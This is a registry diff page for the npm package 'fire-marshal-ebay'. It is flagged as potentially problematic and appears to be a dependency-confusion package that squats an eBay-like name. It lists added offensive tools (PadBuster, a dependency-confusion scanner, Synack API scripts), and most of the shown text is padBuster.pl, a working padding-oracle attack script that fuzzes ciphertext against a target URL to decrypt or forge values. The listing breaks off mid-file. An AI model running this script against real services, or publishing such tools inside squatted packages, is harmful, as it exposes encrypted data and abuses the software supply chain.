fire-marshal-ebay 0.0.1-security.2 → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of fire-marshal-ebay might be problematic. Click here for more details.

Files changed (41) hide show
  1. package/PadBuster/LICENSE +202 -0
  2. package/PadBuster/README +16 -0
  3. package/PadBuster/padBuster.pl +889 -0
  4. package/confused/.github/workflows/codeql-analysis.yml +67 -0
  5. package/confused/.github/workflows/golangci-lint.yml +28 -0
  6. package/confused/.goreleaser.yml +40 -0
  7. package/confused/CHANGELOG.md +31 -0
  8. package/confused/LICENSE +21 -0
  9. package/confused/README.md +93 -0
  10. package/confused/composer.go +105 -0
  11. package/confused/confused +0 -0
  12. package/confused/interfaces.go +11 -0
  13. package/confused/main.go +104 -0
  14. package/confused/mvn.go +120 -0
  15. package/confused/mvnparser.go +139 -0
  16. package/confused/npm.go +210 -0
  17. package/confused/packages.json +86 -0
  18. package/confused/pip.go +99 -0
  19. package/confused/util.go +11 -0
  20. package/index.js +47 -0
  21. package/package.json +9 -4
  22. package/synackAPI/Dockerfile +36 -0
  23. package/synackAPI/README.md +238 -0
  24. package/synackAPI/RHINOSPIDER/burpOOS.txt +25 -0
  25. package/synackAPI/RHINOSPIDER/burpScope.txt +1 -0
  26. package/synackAPI/RHINOSPIDER/scope.txt +1 -0
  27. package/synackAPI/bot.py +72 -0
  28. package/synackAPI/checkCerts.py +67 -0
  29. package/synackAPI/connect.py +9 -0
  30. package/synackAPI/currentTarget +24 -0
  31. package/synackAPI/getAnalytics.py +40 -0
  32. package/synackAPI/getHydra.py +46 -0
  33. package/synackAPI/getPayouts.py +11 -0
  34. package/synackAPI/getscope.py +123 -0
  35. package/synackAPI/polling.py +27 -0
  36. package/synackAPI/register.py +7 -0
  37. package/synackAPI/requirements.txt +7 -0
  38. package/synackAPI/synack.py +1046 -0
  39. package/synackAPI/synstats.py +54 -0
  40. package/synackAPI/target.py +17 -0
  41. package/README.md +0 -5
@@ -0,0 +1,889 @@
1
+ #!/usr/bin/perl
2
+ #
3
+ # PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks
4
+ # Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com)
5
+ #
6
+ # Credits to J.Rizzo and T.Duong for providing proof of concept web exploit
7
+ # techniques and S.Vaudenay for initial discovery of the attack. Credits also
8
+ # to James M. Martin (research@esptl.com) for sharing proof of concept exploit
9
+ # code for performing various brute force attack techniques, and wireghoul (Eldar
10
+ # Marcussen) for making code quality improvements.
11
+ #
12
+
13
+ use LWP::UserAgent;
14
+ use strict;
15
+ use warnings;
16
+ use Getopt::Std;
17
+ use MIME::Base64;
18
+ use URI::Escape;
19
+ use Getopt::Long;
20
+ use Time::HiRes qw( gettimeofday );
21
+ use Compress::Zlib;
22
+ use Crypt::SSLeay;
23
+
24
+ # Set defaults with $variable = value
25
+ my $logFiles;
26
+ my $post;
27
+ my $encoding = 0;
28
+ my $headers;
29
+ my $cookie;
30
+ my $error;
31
+ my $prefix;
32
+ my $intermediaryInput;
33
+ my $cipherInput;
34
+ my $plainTextInput;
35
+ my $encodedPlainTextInput;
36
+ my $noEncodeOption;
37
+ my $superVerbose;
38
+ my $proxy;
39
+ my $proxyAuth;
40
+ my $noIv;
41
+ my $auth;
42
+ my $resumeBlock;
43
+ my $interactive = 0;
44
+ my $bruteForce;
45
+ my $ignoreContent;
46
+ my $useBody;
47
+ my $verbose;
48
+
49
+ GetOptions( "log" => \$logFiles,
50
+ "post=s" => \$post,
51
+ "encoding=s" => \$encoding,
52
+ "headers=s" => \$headers,
53
+ "cookies=s" => \$cookie,
54
+ "error=s" => \$error,
55
+ "prefix=s" => \$prefix,
56
+ "intermediate=s" => \$intermediaryInput,
57
+ "ciphertext=s" => \$cipherInput,
58
+ "plaintext=s" => \$plainTextInput,
59
+ "encodedtext=s" => \$encodedPlainTextInput,
60
+ "noencode" => \$noEncodeOption,
61
+ "veryverbose" => \$superVerbose,
62
+ "proxy=s" => \$proxy,
63
+ "proxyauth=s" => \$proxyAuth,
64
+ "noiv" => \$noIv,
65
+ "auth=s" => \$auth,
66
+ "resume=s" => \$resumeBlock,
67
+ "interactive" => \$interactive,
68
+ "bruteforce" => \$bruteForce,
69
+ "ignorecontent" => \$ignoreContent,
70
+ "usebody" => \$useBody,
71
+ "verbose" => \$verbose);
72
+
73
+ print "\n+-------------------------------------------+\n";
74
+ print "| PadBuster - v0.3.3 |\n";
75
+ print "| Brian Holyfield - Gotham Digital Science |\n";
76
+ print "| labs\@gdssecurity.com |\n";
77
+ print "+-------------------------------------------+\n";
78
+
79
+ if ($#ARGV < 2) {
80
+ die "
81
+ Use: padBuster.pl URL EncryptedSample BlockSize [options]
82
+
83
+ Where: URL = The target URL (and query string if applicable)
84
+ EncryptedSample = The encrypted value you want to test. Must
85
+ also be present in the URL, PostData or a Cookie
86
+ BlockSize = The block size being used by the algorithm
87
+
88
+ Options:
89
+ -auth [username:password]: HTTP Basic Authentication
90
+ -bruteforce: Perform brute force against the first block
91
+ -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded)
92
+ -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2)
93
+ -encoding [0-4]: Encoding Format of Sample (Default 0)
94
+ 0=Base64, 1=Lower HEX, 2=Upper HEX
95
+ 3=.NET UrlToken, 4=WebSafe Base64
96
+ -encodedtext [Encoded String]: Data to Encrypt (Encoded)
97
+ -error [Error String]: Padding Error Message
98
+ -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2)
99
+ -interactive: Prompt for confirmation on decrypted bytes
100
+ -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded)
101
+ -log: Generate log files (creates folder PadBuster.DDMMYY)
102
+ -noencode: Do not URL-encode the payload (encoded by default)
103
+ -noiv: Sample does not include IV (decrypt first block)
104
+ -plaintext [String]: Plain-Text to Encrypt
105
+ -post [Post Data]: HTTP Post Data String
106
+ -prefix [Prefix]: Prefix bytes to append to each sample (Encoded)
107
+ -proxy [address:port]: Use HTTP/S Proxy
108
+ -proxyauth [username:password]: Proxy Authentication
109
+ -resume [Block Number]: Resume at this block number
110
+ -usebody: Use response body content for response analysis phase
111
+ -verbose: Be Verbose
112
+ -veryverbose: Be Very Verbose (Debug Only)
113
+
114
+ ";}
115
+
116
+ # Ok, if we've made it this far we are ready to begin..
117
+ my $url = $ARGV[0];
118
+ my $sample = $ARGV[1];
119
+ my $blockSize = $ARGV[2];
120
+
121
+ if ($url eq "" || $sample eq "" || $blockSize eq "") {
122
+ print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n";
123
+ exit();
124
+ }
125
+
126
+ # Hard Coded Inputs
127
+ #$post = "";
128
+ #$sample = "";
129
+
130
+ my $method = $post ? "POST" : "GET";
131
+
132
+ # These are file related variables
133
+ my $dirName = "PadBuster." . &getTime("F");
134
+ my $dirSlash = "/";
135
+ my $dirCmd = "mkdir ";
136
+ if (defined($ENV{'OS'})) {
137
+ if ($ENV{OS} =~ /Windows/) {
138
+ $dirSlash = "\\";
139
+ $dirCmd = "md ";
140
+ }
141
+ }
142
+ my $dirExists = 0;
143
+ my $printStats = 0;
144
+ my $requestTracker = 0;
145
+ my $timeTracker = 0;
146
+
147
+ if ($encoding < 0 || $encoding > 4) {
148
+ print "\nERROR: Encoding must be a value between 0 and 4\n";
149
+ exit();
150
+ }
151
+ my $encodingFormat = $encoding ? $encoding : 0;
152
+
153
+ my $encryptedBytes = $sample;
154
+ my $totalRequests = 0;
155
+
156
+ # See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem)
157
+ if ($sample =~ /\%/) {
158
+ $encryptedBytes = &uri_unescape($encryptedBytes)
159
+ }
160
+
161
+ # Prep the sample for regex use
162
+ $sample = quotemeta $sample;
163
+
164
+ # Now decode
165
+ $encryptedBytes = &myDecode($encryptedBytes, $encodingFormat);
166
+ if ( (length($encryptedBytes) % $blockSize) > 0) {
167
+ print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n";
168
+ print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n";
169
+ exit();
170
+ }
171
+
172
+ # If no IV, then append nulls as the IV (only if decrypting)
173
+ if ($noIv && !$bruteForce && !$plainTextInput) {
174
+ $encryptedBytes = "\x00" x $blockSize . $encryptedBytes;
175
+ }
176
+
177
+ # PlainTextBytes is where the complete decrypted sample will be stored (decrypt only)
178
+ my $plainTextBytes;
179
+
180
+ # This is a bool to make sure we know where to replace the sample string
181
+ my $wasSampleFound = 0;
182
+
183
+ # ForgedBytes is where the complete forged sample will be stored (encrypt only)
184
+ my $forgedBytes;
185
+
186
+ # Isolate the IV into a separate byte array
187
+ my $ivBytes = substr($encryptedBytes, 0, $blockSize);
188
+
189
+ # Declare some optional elements for storing the results of the first test iteration
190
+ # to help the user if they don't know what the padding error looks like
191
+ my @oracleCantidates;
192
+ my $oracleSignature = "";
193
+ my %oracleGuesses;
194
+ my %responseFileBuffer;
195
+
196
+ # The block count should be the sample divided by the blocksize
197
+ my $blockCount = int(length($encryptedBytes)) / int($blockSize);
198
+
199
+ if (!$bruteForce && !$plainTextInput && $blockCount < 2) {
200
+ print "\nERROR: There is only one block. Try again using the -noiv option.\n";
201
+ exit();
202
+ }
203
+
204
+ # The attack works by sending in a real cipher text block along with a fake block in front of it
205
+ # You only ever need to send two blocks at a time (one real one fake) and just work through
206
+ # the sample one block at a time
207
+
208
+
209
+ # First, re-issue the original request to let the user know if something is potentially broken
210
+ my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie);
211
+
212
+ &myPrint("\nINFO: The original request returned the following",0);
213
+ &myPrint("[+] Status: $status",0);
214
+ &myPrint("[+] Location: $location",0);
215
+ &myPrint("[+] Content Length: $contentLength\n",0);
216
+ &myPrint("[+] Response: $content\n",1);
217
+
218
+ $plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput;
219
+
220
+ if ($bruteForce) {
221
+ &myPrint("INFO: Starting PadBuster Brute Force Mode",0);
222
+ my $bfAttempts = 0;
223
+
224
+ print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock;
225
+
226
+ # Only loop through the first 3 bytes...this should be enough as it
227
+ # requires 16.5M+ requests
228
+
229
+ my @bfSamples;
230
+ my $sampleString = "\x00" x 2;
231
+ for my $c (0 ... 255) {
232
+ substr($sampleString, 0, 1, chr($c));
233
+ for my $d (0 ... 255) {
234
+ substr($sampleString, 1, 1, chr($d));
235
+ push (@bfSamples, $sampleString);
236
+ }
237
+ }
238
+
239
+ foreach my $testVal (@bfSamples) {
240
+ my $complete = 0;
241
+ while ($complete == 0) {
242
+ my $repeat = 0;
243
+ for my $b (0 ... 255) {
244
+ $bfAttempts++;
245
+ if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) {
246
+ #SKIP
247
+ } else {
248
+ my $testBytes = chr($b).$testVal;
249
+ $testBytes .= "\x00" x ($blockSize-3);
250
+
251
+ my $combinedBf = $testBytes;
252
+ $combinedBf .= $encryptedBytes;
253
+ $combinedBf = &myEncode($combinedBf, $encoding);
254
+
255
+ # Add the Query String to the URL
256
+ my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf);
257
+
258
+
259
+ # Issue the request
260
+ my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
261
+
262
+ my $signatureData = "$status\t$contentLength\t$location";
263
+ $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
264
+
265
+ if ($oracleSignature eq "") {
266
+ &myPrint("[+] Starting response analysis...\n",0) if ($b ==0);
267
+ $oracleGuesses{$signatureData}++;
268
+ $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
269
+ if ($b == 255) {
270
+ &myPrint("*** Response Analysis Complete ***\n",0);
271
+ &determineSignature();
272
+ $printStats = 1;
273
+ $timeTracker = 0;
274
+ $requestTracker = 0;
275
+ $repeat = 1;
276
+ $bfAttempts = 0;
277
+ }
278
+ }
279
+ if ($oracleSignature ne "" && $oracleSignature ne $signatureData) {
280
+ &myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0);
281
+ &writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content");
282
+ }
283
+ }
284
+ }
285
+ ($repeat == 1) ? ($complete = 0) : ($complete = 1);
286
+ }
287
+ }
288
+ } elsif ($plainTextInput) {
289
+ # ENCRYPT MODE
290
+ &myPrint("INFO: Starting PadBuster Encrypt Mode",0);
291
+
292
+ # The block count will be the plaintext divided by blocksize (rounded up)
293
+ my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99);
294
+ &myPrint("[+] Number of Blocks: ".$blockCount."\n",0);
295
+
296
+ my $padCount = ($blockSize * $blockCount) - length($plainTextInput);
297
+ $plainTextInput.= chr($padCount) x $padCount;
298
+
299
+ # SampleBytes is the encrypted text you want to derive intermediate values for, so
300
+ # copy the current ciphertext block into sampleBytes
301
+ # Note, nulls are used if not provided and the intermediate values are brute forced
302
+
303
+ $forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize;
304
+ my $sampleBytes = $forgedBytes;
305
+
306
+ for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) {
307
+ # IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored
308
+ my $intermediaryBytes;
309
+
310
+ if ($intermediaryInput && $blockNum == $blockCount) {
311
+ $intermediaryBytes = &myDecode($intermediaryInput,2);
312
+ } else {
313
+ $intermediaryBytes = &processBlock($sampleBytes);
314
+ }
315
+
316
+ # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block
317
+ # This will become the next ciphertext block (or IV if the last one)
318
+ $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize);
319
+ $forgedBytes = $sampleBytes.$forgedBytes;
320
+
321
+ &myPrint("\nBlock ".($blockNum)." Results:",0);
322
+ &myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
323
+ &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0);
324
+
325
+ }
326
+ $forgedBytes = &myEncode($forgedBytes, $encoding);
327
+ chomp($forgedBytes);
328
+ } else {
329
+ # DECRYPT MODE
330
+ &myPrint("INFO: Starting PadBuster Decrypt Mode",0);
331
+
332
+ if ($resumeBlock) {
333
+ &myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0);
334
+ } else {
335
+ $resumeBlock = 1
336
+ }
337
+
338
+ # Assume that the IV is included in our sample and that the first block is the IV
339
+ for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) {
340
+ # Since the IV is the first block, our block count is artificially inflated by one
341
+ &myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0);
342
+
343
+ # SampleBytes is the encrypted text you want to break, so
344
+ # lets copy the current ciphertext block into sampleBytes
345
+ my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize);
346
+
347
+ # IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored
348
+ my $intermediaryBytes = &processBlock($sampleBytes);
349
+
350
+ # DecryptedBytes is where the decrypted block is stored
351
+ my $decryptedBytes;
352
+
353
+ # Now we XOR the decrypted byte with the corresponding byte from the previous block
354
+ # (or IV if we are in the first block) to get the actual plain-text
355
+ $blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize);
356
+
357
+ &myPrint("\nBlock ".($blockNum-1)." Results:",0);
358
+ &myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0);
359
+ &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0);
360
+ &myPrint("[+] Plain Text: $decryptedBytes\n",0);
361
+ $plainTextBytes = $plainTextBytes.$decryptedBytes;
362
+ }
363
+ }
364
+
365
+ &myPrint("-------------------------------------------------------",0);
366
+ &myPrint("** Finished ***\n", 0);
367
+ if ($plainTextInput) {
368
+ &myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0);
369
+ } else {
370
+ &myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0);
371
+ &myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0);
372
+ &myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0);
373
+ }
374
+ &myPrint("-------------------------------------------------------\n",0);
375
+
376
+ sub determineSignature {
377
+ # Help the user detect the oracle response if an error string was not provided
378
+ # This logic will automatically suggest the response pattern that occured most often
379
+ # during the test as this is the most likeley one
380
+
381
+ my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses;
382
+
383
+ &myPrint("The following response signatures were returned:\n",0);
384
+ &myPrint("-------------------------------------------------------",0);
385
+ if ($useBody) {
386
+ &myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0);
387
+ } else {
388
+ &myPrint("ID#\tFreq\tStatus\tLength\tLocation",0);
389
+ }
390
+ &myPrint("-------------------------------------------------------",0);
391
+
392
+ my $id = 1;
393
+
394
+ foreach (@sortedGuesses) {
395
+ my $line = $id;
396
+ ($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.="";
397
+ my @sigFields = split("\t", $_);
398
+ $line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]";
399
+ $useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.="";
400
+ $line .= "\t$sigFields[2]";
401
+ &myPrint($line,0);
402
+ &writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_});
403
+ $id++;
404
+ }
405
+ &myPrint("-------------------------------------------------------",0);
406
+
407
+ if ($#sortedGuesses == 0 && !$bruteForce) {
408
+ &myPrint("\nERROR: All of the responses were identical.\n",0);
409
+ &myPrint("Double check the Block Size and try again.",0);
410
+ exit();
411
+ } else {
412
+ my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended");
413
+ &myPrint("\nContinuing test with selection $responseNum\n",0);
414
+ $oracleSignature = $sortedGuesses[$responseNum-1];
415
+ }
416
+ }
417
+
418
+ sub prepRequest {
419
+ my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_;
420
+
421
+ # Prepare the request
422
+ my $testUrl = $pUrl;
423
+ my $wasSampleFound = 0;
424
+
425
+ if ($pUrl =~ /$pSample/) {
426
+ $testUrl =~ s/$pSample/$pTestBytes/;
427
+ $wasSampleFound = 1;
428
+ }
429
+
430
+ my $testPost = "";
431
+ if ($pPost) {
432
+ $testPost = $pPost;
433
+ if ($pPost =~ /$pSample/) {
434
+ $testPost =~ s/$pSample/$pTestBytes/;
435
+ $wasSampleFound = 1;
436
+ }
437
+ }
438
+
439
+ my $testCookies = "";
440
+ if ($pCookie) {
441
+ $testCookies = $pCookie;
442
+ if ($pCookie =~ /$pSample/) {
443
+ $testCookies =~ s/$pSample/$pTestBytes/;
444
+ $wasSampleFound = 1;
445
+ }
446
+ }
447
+
448
+ if ($wasSampleFound == 0) {
449
+ &myPrint("ERROR: Encrypted sample was not found in the test request",0);
450
+ exit();
451
+ }
452
+ return ($testUrl, $testPost, $testCookies);
453
+ }
454
+
455
+ sub processBlock {
456
+ my ($sampleBytes) = @_;
457
+ my $analysisMode;
458
+ # Analysis mode is either 0 (response analysis) or 1 (exploit)
459
+ $analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1;
460
+
461
+ # The return value of this subroutine is the intermediate text for the block
462
+ my $returnValue;
463
+
464
+ my $complete = 0;
465
+ my $autoRetry = 0;
466
+ my $hasHit = 0;
467
+
468
+ while ($complete == 0) {
469
+ # Reset the return value
470
+ $returnValue = "";
471
+
472
+ my $repeat = 0;
473
+
474
+ # TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack
475
+ my $testBytes = "\x00" x $blockSize;
476
+
477
+ my $falsePositiveDetector = 0;
478
+
479
+ # Work on one byte at a time, starting with the last byte and moving backwards
480
+ OUTERLOOP:
481
+ for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) {
482
+ INNERLOOP:
483
+ for (my $i = 255; $i >= 0; $i--) {
484
+ # Fuzz the test byte
485
+ substr($testBytes, $byteNum, 1, chr($i));
486
+
487
+ # Combine the test bytes and the sample
488
+ my $combinedTestBytes = $testBytes.$sampleBytes;
489
+
490
+ if ($prefix) {
491
+ $combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes
492
+ }
493
+
494
+ $combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat);
495
+ chomp($combinedTestBytes);
496
+
497
+ if (! $noEncodeOption) {
498
+ $combinedTestBytes = &uri_escape($combinedTestBytes);
499
+ }
500
+
501
+ my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes);
502
+
503
+ # Ok, now make the request
504
+
505
+ my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies);
506
+
507
+
508
+ my $signatureData = "$status\t$contentLength\t$location";
509
+ $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody;
510
+
511
+ # If this is the first block and there is no padding error message defined, then cycle through
512
+ # all possible requests and let the user decide what the padding error behavior is.
513
+ if ($analysisMode == 0) {
514
+ &myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255);
515
+ $oracleGuesses{$signatureData}++;
516
+
517
+ $responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content";
518
+
519
+ if ($byteNum == $blockSize - 1 && $i == 0) {
520
+ &myPrint("*** Response Analysis Complete ***\n",0);
521
+ &determineSignature();
522
+ $analysisMode = 1;
523
+ $repeat = 1;
524
+ last OUTERLOOP;
525
+ }
526
+ }
527
+
528
+ my $continue = "y";
529
+
530
+ if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) {
531
+ # This is for autoretry logic (only works on the first byte)
532
+ if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) {
533
+ $hasHit++;
534
+ } else {
535
+ # If there was no padding error, then it worked
536
+ &myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0);
537
+ &myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1);
538
+
539
+ # If continually getting a hit on attempt zero, then something is probably wrong
540
+ $falsePositiveDetector++ if ($i == 255);
541
+
542
+ if ($interactive == 1) {
543
+ $continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1);
544
+ }
545
+
546
+ if ($continue eq "y" || $continue eq "a") {
547
+ $interactive = 0 if ($continue eq "a");
548
+
549
+ # Next, calculate the decrypted byte by XORing it with the padding value
550
+ my ($currentPaddingByte, $nextPaddingByte);
551
+
552
+ # These variables could allow for flexible padding schemes (for now PCKS)
553
+ # For PCKS#7, the padding block is equal to chr($blockSize - $byteNum)
554
+ $currentPaddingByte = chr($blockSize - $byteNum);
555
+ $nextPaddingByte = chr($blockSize - $byteNum + 1);
556
+
557
+ my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte;
558
+ &myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1);
559
+
560
+ $returnValue = $decryptedByte.$returnValue;
561
+ &myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1);
562
+
563
+ # Finally, update the test bytes in preparation for the next round, based on the padding used
564
+ for (my $k = $byteNum; $k < $blockSize; $k++) {
565
+ # First, XOR the current test byte with the padding value for this round to recover the decrypted byte
566
+ substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte));
567
+
568
+ # Then, XOR it again with the padding byte for the next round
569
+ substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte));
570
+ }
571
+ last INNERLOOP;
572
+ }
573
+
574
+ }
575
+ }
576
+
577
+ ## TODO: Combine these two blocks?
578
+ if ($i == 0 && $analysisMode == 1) {
579
+ # End of the road with no success. We should probably try again.
580
+ &myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0);
581
+
582
+ if ($autoRetry == 0) {
583
+ $autoRetry = 1;
584
+ &myPrint(" Automatically trying one more time...",0);
585
+ $repeat = 1;
586
+ last OUTERLOOP;
587
+
588
+ } else {
589
+ if (($byteNum == $blockSize - 1) && ($error)) {
590
+ &myPrint("\nAre you sure you specified the correct error string?",0);
591
+ &myPrint("Try re-running without the -e option to perform a response analysis.\n",0);
592
+ }
593
+
594
+ $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
595
+ if ($continue ne "n") {
596
+ &myPrint("INFO: Switching to interactive mode",0);
597
+ $interactive = 1;
598
+ $repeat = 1;
599
+ last OUTERLOOP;
600
+ }
601
+ }
602
+ }
603
+ if ($falsePositiveDetector == $blockSize) {
604
+ &myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0);
605
+ &myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0);
606
+ if ($error) {
607
+ &myPrint("[+] Check the error string you provided and try again, or consider running",0);
608
+ &myPrint("[+] without an error string to perform an automated response analysis.\n",0);
609
+ } else {
610
+ &myPrint("[+] You may want to consider defining a custom padding error string",0);
611
+ &myPrint("[+] instead of the automated response analysis.\n",0);
612
+ }
613
+ $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1);
614
+ if ($continue eq "y") {
615
+ &myPrint("INFO: Switching to interactive mode",0);
616
+ $interactive = 1;
617
+ $repeat = 1;
618
+ last OUTERLOOP;
619
+ }
620
+ }
621
+ }
622
+ }
623
+ ($repeat == 1) ? ($complete = 0) : ($complete = 1);
624
+ }
625
+ return $returnValue;
626
+ }
627
+
628
+ sub makeRequest {
629
+
630
+ my ($method, $url, $data, $cookie) = @_;
631
+ my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength);
632
+ my $numRetries = 0;
633
+ $data ='' unless $data;
634
+ $cookie='' unless $cookie;
635
+
636
+ $requestTracker++;
637
+ do {
638
+ #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed)
639
+ $ENV{HTTPS_PROXY} = "";
640
+
641
+ $lwp = LWP::UserAgent->new(env_proxy => 1,
642
+ keep_alive => 1,
643
+ timeout => 30,
644
+ requests_redirectable => [],
645
+ );
646
+
647
+ $req = new HTTP::Request $method => $url;
648
+
649
+ &myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose;
650
+
651
+ # Add request content for POST and PUTS
652
+ if ($data) {
653
+ $req->content_type('application/x-www-form-urlencoded');
654
+ $req->content($data);
655
+ }
656
+
657
+ if ($proxy) {
658
+ my $proxyUrl = "http://";
659
+ if ($proxyAuth) {
660
+ my ($proxyUser, $proxyPass) = split(":",$proxyAuth);
661
+ $ENV{HTTPS_PROXY_USERNAME} = $proxyUser;
662
+ $ENV{HTTPS_PROXY_PASSWORD} = $proxyPass;
663
+ $proxyUrl .= $proxyAuth."@";
664
+ }
665
+ $proxyUrl .= $proxy;
666
+ $lwp->proxy(['http'], "http://".$proxy);
667
+ $ENV{HTTPS_PROXY} = "http://".$proxy;
668
+ }
669
+
670
+
671
+ if ($auth) {
672
+ my ($httpuser, $httppass) = split(/:/,$auth);
673
+ $req->authorization_basic($httpuser, $httppass);
674
+ }
675
+
676
+ # If cookies are defined, add a COOKIE header
677
+ if (! $cookie eq "") {
678
+ $req->header(Cookie => $cookie);
679
+ }
680
+
681
+ if ($headers) {
682
+ my @customHeaders = split(/;/i,$headers);
683
+ for (my $i = 0; $i <= $#customHeaders; $i++) {
684
+ my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]);
685
+ $req->header($headerName, $headerVal);
686
+ }
687
+ }
688
+
689
+ my $startTime = &gettimeofday();
690
+ my $response = $lwp->request($req);
691
+ my $endTime = &gettimeofday();
692
+ $timeTracker = $timeTracker + ($endTime - $startTime);
693
+
694
+ if ($printStats == 1 && $requestTracker % 250 == 0) {
695
+ print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n";
696
+ $timeTracker = 0;
697
+ }
698
+
699
+
700
+ # Extract the required attributes from the response
701
+ $status = substr($response->status_line, 0, 3);
702
+ $content = $response->content;
703
+
704
+ &myPrint("Response Content:\n$content",0) if $superVerbose;
705
+ $location = $response->header("Location");
706
+ if (!$location) {
707
+ $location = "N/A";
708
+ }
709
+ #$contentLength = $response->header("Content-Length");
710
+ $contentLength = length($content);
711
+
712
+
713
+ my $contentEncoding = $response->header("Content-Encoding");
714
+ if ($contentEncoding) {
715
+ if ($contentEncoding =~ /GZIP/i ) {
716
+ $content = Compress::Zlib::memGunzip($content);
717
+ $contentLength = length($content);
718
+ }
719
+ }
720
+
721
+ my $statusMsg = $response->status_line;
722
+ #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1);
723
+
724
+ if ($statusMsg =~ /Can't connect/) {
725
+ print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n";
726
+ $noConnect = 1;
727
